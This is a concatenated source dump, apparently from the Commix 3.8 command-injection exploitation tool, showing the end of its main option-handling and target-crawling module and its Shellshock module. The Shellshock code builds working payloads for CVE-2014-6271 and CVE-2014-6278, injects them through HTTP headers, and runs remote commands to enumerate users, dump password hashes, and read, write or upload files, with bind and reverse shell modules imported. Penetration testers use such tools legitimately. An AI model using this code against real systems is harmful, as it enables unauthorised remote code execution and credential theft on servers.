if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED:
_ = False
return _
"""
The main function.
"""
def main(filename, url):
try:
if menu.options.alert:
if menu.options.alert.startswith('-'):
err_msg = "Value for option '--alert' must be valid operating system command(s)."
print(settings.print_error_msg(err_msg))
else:
settings.ALERT = True
if menu.options.offline:
settings.CHECK_FOR_UPDATES_ON_START = False
# Ignore the mathematic calculation part (Detection phase).
if menu.options.skip_calc:
settings.SKIP_CALC = True
# Target URL reload.
if menu.options.url_reload and menu.options.data:
settings.URL_RELOAD = True
if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING:
settings.WILDCARD_CHAR_APPLIED = False
checks.check_custom_injection_marker(url)
# Check injection level, due to the provided testable parameters.
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \
menu.options.test_parameter != None:
checks.check_injection_level()
# Define the level of tests to perform.
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index)
elif menu.options.level == settings.COOKIE_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index)
elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index)
else:
err_msg = "The value for option '--level' "
err_msg += "must be an integer value from range [1, 3]."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.test_parameter and menu.options.skip_parameter:
if type(menu.options.test_parameter) is bool:
menu.options.test_parameter = None
else:
err_msg = "The options '-p' and '--skip' cannot be used "
err_msg += "simultaneously (i.e. only one option must be set)."
print(settings.print_critical_msg(err_msg))
raise SystemExit
if menu.options.ignore_session:
# Ignore session
session_handler.ignore(url)
# Check provided parameters for tests
checks.check_provided_parameters()
# Check if defined character used for splitting cookie values.
if menu.options.cdel:
settings.COOKIE_DELIMITER = menu.options.cdel
if not menu.options.ignore_session and not menu.options.flush_session:
if session_handler.applied_techniques(url, http_request_method):
if not menu.options.tech:
menu.options.tech = session_handler.applied_techniques(url, http_request_method)
else:
settings.USER_SUPPLIED_TECHNIQUE = True
else:
menu.options.tech = list(menu.options.tech.lower())
_ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))}
try:
menu.options.tech.sort(key=lambda x:_[x])
except KeyError:
pass
menu.options.tech = ''.join(menu.options.tech)
else:
if not menu.options.tech:
menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES])
else:
settings.USER_SUPPLIED_TECHNIQUE = True
# Check for skipping injection techniques.
if menu.options.skip_tech:
# Convert injection technique(s) to lowercase
menu.options.skip_tech = menu.options.skip_tech.lower()
settings.SKIP_TECHNIQUES = True
if settings.USER_SUPPLIED_TECHNIQUE:
err_msg = "The options '--technique' and '--skip-technique' cannot be used "
err_msg += "simultaneously (i.e. only one option must be set)."
print(settings.print_critical_msg(err_msg))
raise SystemExit
else:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
if skip_tech_name in menu.options.skip_tech:
menu.options.tech = menu.options.tech.replace(skip_tech_name,"")
if len(menu.options.tech) == 0:
err_msg = "Detection procedure was aborted due to skipping all injection techniques."
print(settings.print_critical_msg(err_msg))
raise SystemExit
# Check if specified wrong injection technique
if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
found_tech = False
# Check if used the ',' separator
if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX)
else:
split_techniques_names = menu.options.tech.split()
if split_techniques_names:
for i in range(0,len(split_techniques_names)):
if len(menu.options.tech) <= 4:
split_first_letter = list(menu.options.tech)
for j in range(0,len(split_first_letter)):
if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
found_tech = True
else:
found_tech = False
if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
found_tech == False:
err_msg = "You specified wrong value '" + split_techniques_names[i]
err_msg += "' as injection technique. "
err_msg += "The value for option '"
if not settings.SKIP_TECHNIQUES :
err_msg += "--technique"
else:
err_msg += "--skip-technique"
err_msg += "' must be a string composed by the letters "
err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper()
err_msg += ". Refer to the official wiki for details."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if not menu.options.tech:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
else:
settings.USER_SUPPLIED_TECHNIQUE = True
# Check the file-destination
if menu.options.file_write and not menu.options.file_dest or \
menu.options.file_upload and not menu.options.file_dest:
err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--url" or "-m" option.
if url:
if menu.options.auth_cred and menu.options.auth_type:
if len(menu.options.auth_cred.split(":")) == 2:
username = menu.options.auth_cred.split(":")[0]
password = menu.options.auth_cred.split(":")[1]
else:
username = ""
password = menu.options.auth_cred
session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \
admin_panel=url, username=username, \
password=password
)
try:
if menu.options.flush_session:
session_handler.flush(url)
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Check if defined "--file-upload" option.
if menu.options.file_upload:
menu.options.file_upload = os.path.abspath(menu.options.file_upload)
checks.file_upload()
try:
_urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
print(settings.print_critical_msg(str(err_msg.code)))
raise SystemExit()
except _urllib.error.URLError as err_msg:
print(settings.print_critical_msg(str(err_msg.reason) + "."))
raise SystemExit()
try:
info_msg = "Performing identification checks to the target URL."
print(settings.print_info_msg(info_msg))
# Webpage encoding detection.
requests.encoding_detection(response)
# Procedure for target application identification
requests.application_identification(url)
# Specifies the technology supporting the web application
requests.technology_detection(response)
if response.info()['server'] :
server_banner = response.info()['server']
# Procedure for target server's operating system identification.
requests.check_target_os(server_banner)
# Procedure for target server identification.
requests.server_identification(server_banner)
# Store the Server's root dir
settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT
if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
menu.options.current_user = True
# Define Python working directory.
checks.define_py_working_dir()
# Check for wrong flags.
checks.check_wrong_flags()
else:
found_os_server = checks.user_defined_os()
except (KeyError, AttributeError):
pass
# Load tamper scripts
if menu.options.tamper:
settings.USER_SUPPLIED_TAMPER = menu.options.tamper
# checks.tamper_scripts(stored_tamper_scripts=False)
except AttributeError:
pass
else:
err_msg = "You must specify the target URL."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Retrieve everything from the supported enumeration options.
if menu.options.enum_all:
checks.enable_all_enumeration_options()
controller.do_check(url, http_request_method, filename)
return filename
# Accidental stop / restart of the target host server.
except (_http_client.BadStatusLine, SocketError) as err_msg:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
err_msg = "The target host is not responding."
err_msg += " Please ensure that is up and try again."
print("\n" + settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
try:
filename = ""
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
raise SystemExit()
# Print the legal disclaimer msg.
print(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG))
# Get total number of days from last update
if os.path.isfile(settings.SETTINGS_PATH):
if settings.STABLE_RELEASE == False:
common.days_from_last_update()
# Check if specified wrong alternative shell
if menu.options.alter_shell:
if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Define the level of verbosity.
if menu.options.verbose > 4:
err_msg = "The value for option '-v' "
err_msg += "must be an integer value from range [0, 4]."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.VERBOSITY_LEVEL = menu.options.verbose
if menu.options.smoke_test:
smoke_test()
if menu.options.ignore_redirects:
settings.FOLLOW_REDIRECT = False
if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
# Check if defined "--list-tampers" option.
if menu.options.list_tampers:
checks.list_tamper_scripts()
raise SystemExit()
if settings.READLINE_ERROR :
checks.no_readline_module()
raise SystemExit()
# Check if defined "--ignore-dependencies" option.
if not menu.options.ignore_dependencies:
checks.third_party_dependencies()
# Check if defined "--update" option.
if menu.options.update:
update.updater()
# Check if defined "--install" option.
if menu.options.install:
install.installer()
raise SystemExit()
# Check if defined "--purge" option.
if menu.options.purge:
purge.purge()
# Check for missing mandatory option(s).
if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
menu.options.update, menu.options.list_tampers)):
if not menu.options.purge:
err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). "
err_msg += "Use -h for help."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.codec:
if menu.options.codec.lower() not in settings.ENCODING_LIST:
err_msg = "The provided charset '" + menu.options.codec + "' is unknown. "
err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' "
err_msg += "to get the full list of supported charsets."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.DEFAULT_CODEC = menu.options.codec.lower()
if menu.options.header and len(menu.options.header.split("\\n"))> 1:
warn_msg = "Swithing '--header' to '--headers' "
warn_msg += "due to multiple extra HTTP headers."
print(settings.print_warning_msg(warn_msg))
if menu.options.method:
settings.HTTP_METHOD = menu.options.method
if menu.options.answers:
settings.ANSWERS = menu.options.answers
# Check if defined "--proxy" option.
if menu.options.proxy:
for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy):
_, proxy_scheme, proxy_address, proxy_port = match.groups()
if proxy_scheme:
settings.PROXY_SCHEME = proxy_scheme
menu.options.proxy = proxy_address + ":" + proxy_port
break
else:
err_msg = "Proxy value must be in format '(http|https)://address:port'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.ignore_session and menu.options.flush_session:
err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.failed_tries == 0:
err_msg = "You must specify '--failed-tries' value, greater than zero."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--auth-cred" and/or '--auth-type'.
if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type):
err_msg = "You must specify both '--auth-cred' and '--auth-type' options."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_cred and menu.options.auth_type:
if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred):
error_msg = "HTTP " + str(menu.options.auth_type)
error_msg += " authentication credentials value must be in format 'username:password'."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
if menu.options.requestfile and menu.options.url:
err_msg = "The '-r' option is incompatible with option '-u' ('--url')."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check the user-defined OS.
if menu.options.os:
checks.user_defined_os()
# Check if defined "--check-tor" option.
if menu.options.tor_check and not menu.options.tor:
err_msg = "The '--check-tor' swich requires usage of '--tor' switch."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--ignore-code" option.
if menu.options.ignore_code and "," in menu.options.ignore_code:
err_msg = "Ignoring more than one HTTP error code, is not yet supported."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--wizard" option.
if menu.options.wizard:
if not menu.options.url and not settings.STDIN_PARSING:
while True:
message = "Enter full target URL (-u) > "
menu.options.url = common.read_input(message, default=None, check_batch=True)
if menu.options.url is None or len(menu.options.url) == 0:
pass
else:
break
message = "Enter POST data (--data) [Enter for none] > "
if settings.STDIN_PARSING or menu.options.data:
print(settings.print_message(message + str(menu.options.data)))
else:
menu.options.data = common.read_input(message, default=None, check_batch=True)
if menu.options.data is not None and len(menu.options.data) == 0:
menu.options.data = False
while True:
message = "Enter injection level (--level) [1-3, Default: 1] > "
if settings.STDIN_PARSING:
print(settings.print_message(message + str(menu.options.level)))
break
try:
menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True))
if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL):
pass
else:
break
except ValueError:
pass
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
settings.DELAY = menu.options.delay
# Check if defined "--timesec" option.
if menu.options.timesec > 0:
settings.TIMESEC = menu.options.timesec
else:
if menu.options.tor:
settings.TIMESEC = 10
warn_msg = "Increasing default value for option '--time-sec' to"
warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided."
print(settings.print_warning_msg(warn_msg))
# Local IP address
if not menu.options.offline:
settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr()
else:
settings.LOCAL_HTTP_IP = None
if menu.options.sitemap_url:
settings.SITEMAP_CHECK = True
if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK:
settings.CRAWLING = True
if menu.options.crawl_exclude:
if not settings.CRAWLING:
err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
re.compile(menu.options.crawl_exclude)
except Exception as e:
err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check arguments
if len(sys.argv) == 1 and not settings.STDIN_PARSING:
menu.parser.print_help()
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
else:
# Check for INJECT_HERE tag.
inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv))
if inject_tag_regex_match:
settings.INJECT_TAG = inject_tag_regex_match.group(0)
# Check provided parameters for tests
checks.check_provided_parameters()
if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
settings.USER_SUPPLIED_LEVEL = menu.options.level
# Define the local path where Metasploit Framework is installed.
if menu.options.msf_path:
settings.METASPLOIT_PATH = menu.options.msf_path
# Enable detection phase
settings.DETECTION_PHASE = True
# Parse target and data from HTTP proxy logs (i.e Burp / WebScarab).
if menu.options.requestfile and menu.options.logfile:
err_msg = "The '-r' option is unlikely to work combined with the '-l' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.requestfile or menu.options.logfile:
parser.logfile_parser()
# Check if ".git" exists and check for updated version!
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
# Check if option is "--url" for single url test.
if menu.options.sitemap_url:
url = menu.options.sitemap_url
else:
url = menu.options.url
if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING:
http_request_method = checks.check_http_method(url)
if os_checks_num == 0:
settings.INIT_TEST = True
response, url = url_response(url)
if response != False:
filename = logs.logs_filename_creation(url)
main(filename, url)
else:
output_href = []
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
if os_checks_num == 0:
info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if not os.path.exists(bulkfile):
print(settings.SINGLE_WHITESPACE)
err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
elif os.stat(bulkfile).st_size == 0:
print(settings.SINGLE_WHITESPACE)
err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
else:
settings.MULTI_TARGETS = True
print(settings.SINGLE_WHITESPACE)
with open(menu.options.bulkfile) as f:
bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f]
# Check if option "--crawl" is enabled.
if settings.CRAWLING:
settings.CRAWLING_PHASE = True
url_num = 1
if not menu.options.bulkfile and not settings.STDIN_PARSING:
crawling_list = 1
output_href = crawler.crawler(url, url_num, crawling_list)
output_href.append(url)
else:
if settings.STDIN_PARSING:
bulkfile = stdin_parsing_target(os_checks_num)
crawling_list = len(bulkfile)
for url in bulkfile:
output_href += (crawler.crawler(url, url_num, crawling_list))
url_num += 1
output_href = output_href + bulkfile
output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
if not menu.options.shellshock:
output_href = crawler.normalize_results(output_href)
settings.CRAWLING_PHASE = False
else:
filename = None
if not settings.STDIN_PARSING:
output_href = output_href + bulkfile
else:
output_href = stdin_parsing_target(os_checks_num)
# Removing duplicates from list.
clean_output_href = []
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
if len(output_href) != 0 and not settings.STDIN_PARSING:
if filename is not None:
filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
if check_for_injected_url(url):
if settings.SKIP_VULNERABLE_HOST is None:
while True:
message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. "
message += "Do you want to skip further tests involving it? [Y/n] > "
skip_host = common.read_input(message, default="Y", check_batch=True)
if skip_host in settings.CHOICE_YES:
settings.SKIP_VULNERABLE_HOST = True
break
elif skip_host in settings.CHOICE_NO:
settings.SKIP_VULNERABLE_HOST = False
break
elif skip_host in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(skip_host)
pass
if settings.SKIP_VULNERABLE_HOST:
url_num += 1
info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")."
print(settings.print_info_msg(info_msg))
if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False:
if not check_for_injected_url(url):
settings.SKIP_VULNERABLE_HOST = None
http_request_method = checks.check_http_method(url)
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
url_num += 1
perform_check = True
while True:
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url))
message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
next_url = common.read_input(message, default="Y", check_batch=True)
if next_url in settings.CHOICE_YES:
break
elif next_url in settings.CHOICE_NO:
perform_check = False
if url_num == len(clean_output_href):
raise SystemExit()
else:
break
elif next_url in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(next_url)
pass
if perform_check:
if os_checks_num == 0:
settings.INIT_TEST = True
if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
menu.options.level = 1
init_injection(url)
try:
response, url = url_response(url)
if response != False:
filename = logs.logs_filename_creation(url)
main(filename, url)
except:
pass
else:
url_num += 1
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url))
if url_num == len(clean_output_href):
raise SystemExit()
except KeyboardInterrupt:
try:
checks.user_aborted(filename, url)
except NameError:
abort_msg = "User quit (Ctrl-C was pressed)."
print(settings.print_abort_msg(abort_msg))
raise SystemExit()
except SystemExit:
raise SystemExit()
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise SystemExit()
# eof commix-3.8/src/core/modules/ 0000775 0000000 0000000 00000000000 14466364451 0016064 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/modules/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0020201 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/modules/modules_handler.py 0000664 0000000 0000000 00000002124 14466364451 0021602 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
from src.utils import menu
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Load modules
"""
def load_modules(url, http_request_method, filename):
# Check if defined the shellshock module
if menu.options.shellshock :
try:
# The shellshock module
from src.core.modules.shellshock import shellshock
# The shellshock handler
shellshock.shellshock_handler(url, http_request_method, filename)
except ImportError as err_msg:
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
raise SystemExit() commix-3.8/src/core/modules/shellshock/ 0000775 0000000 0000000 00000000000 14466364451 0020223 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/modules/shellshock/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0022340 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/modules/shellshock/shellshock.py 0000775 0000000 0000000 00000055764 14466364451 0022760 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
import re
import os
import sys
import string
import random
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import common
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.core.requests import tor
from src.core.requests import proxy
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.shells import bind_tcp
from src.core.shells import reverse_tcp
from src.core.requests import parameters
from src.core.requests import headers as log_http_headers
from src.core.injections.controller import checks
default_user_agent = menu.options.agent
default_cookie = ""
if menu.options.cookie:
if settings.INJECT_TAG in menu.options.cookie:
menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"")
default_cookie = menu.options.cookie
"""
This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI.
[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
"""
if settings.MULTI_TARGETS or settings.STDIN_PARSING:
if settings.USER_AGENT_INJECTION:
settings.USER_AGENT_INJECTION = None
if settings.REFERER_INJECTION:
settings.REFERER_INJECTION = None
if settings.COOKIE_INJECTION:
settings.COOKIE_INJECTION = None
# Available HTTP headers
headers = [
"User-Agent",
"Referer",
"Cookie",
]
# Available Shellshock CVEs
shellshock_cves = [
"CVE-2014-6271",
"CVE-2014-6278"
]
"""
Available shellshock payloads
"""
def shellshock_payloads(cve, attack_vector):
if cve == shellshock_cves[0] :
payload = "() { :; }; " + attack_vector
elif cve == shellshock_cves[1] :
payload = "() { _; } >_[$($())] { " + attack_vector + " } "
else:
pass
return payload
"""
Shellshock bug exploitation
"""
def shellshock_exploitation(cve, cmd):
attack_vector = " echo; " + cmd + ";"
payload = shellshock_payloads(cve, attack_vector)
return payload
"""
Enumeration Options
"""
def enumeration(url, cve, check_header, filename):
_ = False
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
checks.print_hostname(shell, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
checks.print_current_user(cu_account, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.is_root:
checks.print_enumenation().check_privs_msg()
cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
cmd = ''.join(cmd)
cmd = checks.remove_parenthesis(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
checks.print_current_user_privs(shell, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
if target_os == "Linux":
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_os_info(target_os, target_arch, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
cmd = settings.SYS_USERS
cmd = checks.remove_command_substitution(cmd)
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_users:
checks.print_users(sys_users, filename, _, alter_shell=False)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
checks.print_enumenation().print_passes_msg()
cmd = settings.SYS_PASSES
cmd = checks.remove_command_substitution(cmd)
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
checks.print_passes(sys_users, filename, _, alter_shell=False)
settings.ENUMERATION_DONE = True
"""
File Access Options
"""
def file_access(url, cve, check_header, filename):
if menu.options.file_write:
file_to_write, dest_to_write, content = checks.check_file_to_write()
cmd = checks.write_content(content, dest_to_write)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
cmd = checks.check_file(dest_to_write)
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.file_write_status(shell, dest_to_write)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
cmd, dest_to_upload = checks.check_file_to_upload()
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
checks.file_upload_status(shell, dest_to_upload)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
cmd, file_to_read = checks.file_content_to_read()
cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.file_read_status(shell, file_to_read, filename)
